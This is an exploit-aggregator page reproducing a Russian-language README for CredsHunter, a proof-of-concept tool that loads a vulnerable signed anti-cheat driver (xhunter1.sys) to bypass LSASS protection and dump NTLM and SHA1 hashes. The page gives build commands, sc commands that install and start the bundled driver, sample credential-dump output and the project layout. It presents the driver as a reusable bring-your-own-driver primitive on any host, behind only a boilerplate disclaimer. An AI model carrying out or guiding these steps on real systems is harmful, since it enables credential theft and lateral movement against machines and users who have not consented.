Sploitus

Exploit for CredsHunter

kitploit · 2026-08-24

Exploit Code

MARKDOWN132 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BLACKSNUFKIN-CREDSHUNTER
# CredsHunter

**CVE-2026-3609** · **Writeup**

PoC дампа учётных данных LSASS через утечку дескриптора процесса в обход PPL в драйвере античита XIGNCODE3 компании Wellbia — `xhunter1.sys`.

Драйвер предоставляет интерфейс команд `IRP_MJ_WRITE`, который вызывает `ObOpenObjectByPointer` с `AccessMode = KernelMode` и без флага `OBJ_KERNEL_HANDLE`, помещая созданный в режиме ядра дескриптор `PROCESS_ALL_ACCESS` прямо в таблицу дескрипторов вызывающего. Далее стандартный код дампа учётных данных читает 3DES-ключ `lsasrv.dll` из целевого процесса и восстанавливает NTLM- и SHA1-хеши для всех активных сеансов входа.

## Подверженный уязвимости бинарный файл

root@kitploit:~
    
    
    xhunter1.sys  version 10.0.10011.16384
    SHA-256       e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
    

Подверженный уязвимости подписанный драйвер включён в этот репозиторий (`xhunter1.sys`), чтобы эксплойт можно было воспроизвести от начала до конца. Проверьте хеш перед загрузкой:

root@kitploit:~
    
    
    Get-FileHash .\xhunter1.sys -Algorithm SHA256
    

Более новые выпуски XIGNCODE3 уже пропатчены. Подверженный уязвимости подписанный бинарный файл остаётся пригодным в качестве BYOVD-примитива на любом хосте, где его можно разместить и загрузить.

## Сборка

root@kitploit:~
    
    
    git clone https://github.com/BlackSnufkin/CredsHunter.git
    cd CredsHunter
    cargo build --release
    

Готовый бинарный файл размещается по пути `target\release\CredsHunter.exe`.

## Запуск

Загрузите прилагаемый драйвер как службу ядра (DACL устройства драйвера разрешает доступ любому вызывающему, как только он запущен):

root@kitploit:~
    
    
    sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
    sc start xhunter
    

Запустите инструмент:

root@kitploit:~
    
    
    .\target\release\CredsHunter.exe
    

Чтобы затем выполнить очистку:

root@kitploit:~
    
    
    sc stop xhunter
    sc delete xhunter
    

Имя устройства по умолчанию — `\\.\xhunter` (соответствует имени службы из примера выше). Если ваша служба использует другое имя, путь к устройству будет соответствовать ему — измените `driver::DEFAULT_DEVICE` или соответствующим образом вызовите `Xhunter::open_named`.

## Пример вывода

root@kitploit:~
    
    
      xhunter1.sys BYOVD — LSASS credential dump
      CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
    
    [+] OS build .............. 26200
    [+] lsass.exe PID ......... 940
    [+] Driver opened ......... \\.\xhunter
    [+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
    [+] lsasrv.dll ............ local 0x00007FFB27CB0000  remote 0x00007FFB27CB0000
    [+] LSA key addrs (local) . AES 0x...  3DES 0x...  IV 0x...
    [+] 3DES key (24B) ........ <hex>
    [+] IV .................... <hex>
    
    ===== LogonSessionList =====
    
    [0001] LogonSession @ 0x...
      User   : <username>
      Domain : <domain>
      NTHash : <16 bytes hex>
      SHA1   : <20 bytes hex>
    
    [...]
    

## Принцип работы

## Структура проекта

root@kitploit:~
    
    
    src/
    ├── main.rs       # banner, run flow, ExitCode handling
    ├── driver.rs     # Xhunter, Session, MemReader trait, protocol constants
    ├── proc.rs       # find_pid, PEB-walk remote module lookup
    ├── pe.rs         # local PE parsing + pattern scan + RIP decode
    ├── lsa.rs        # LSA key patterns, BCrypt key extraction, 3DES decrypt
    ├── logon.rs      # LogonSessionList walker + MSV1_0 offsets
    ├── wdigest.rs    # WDigest list walker (best-effort)
    └── sys.rs        # OS build number
    

Трейт `MemReader` абстрагирует чтение памяти, чтобы модули извлечения учётных данных не зависели от конкретного примитива драйвера. Реализуйте этот трейт для другого ридера (например, среды выполнения Beacon Object File или ридера физической памяти на основе ptwalk) — и модули `lsa` / `logon` / `wdigest` подключатся без изменений.

## Известные ограничения

  * **Восстановление открытого текста WDigest выполняется по принципу best-effort.** Сигнатура головы списка представляет собой один байтовый шаблон (`48 3B D9 74`), унаследованный от оригинального публичного PoC, и не обновлялась для Windows 11 сборки 26100 и новее. Доработать это до таблицы для каждой сборки несложно; пул-реквесты приветствуются.
  * **Имя службы / устройства** жёстко задано как `xhunter`. Если вы загружаете драйвер под другим именем, измените `driver::DEFAULT_DEVICE` или передайте переопределение в `Xhunter::open_named`.



## Отказ от ответственности

Только для исследований, авторизованного тестирования и защитных инструментов. Загрузка подверженного уязвимости драйвера на систему, которая вам не принадлежит или на тестирование которой у вас нет явного разрешения, является преступлением в большинстве юрисдикций. Автор не несёт ответственности за неправомерное использование.

## Лицензия

См. `LICENSE`.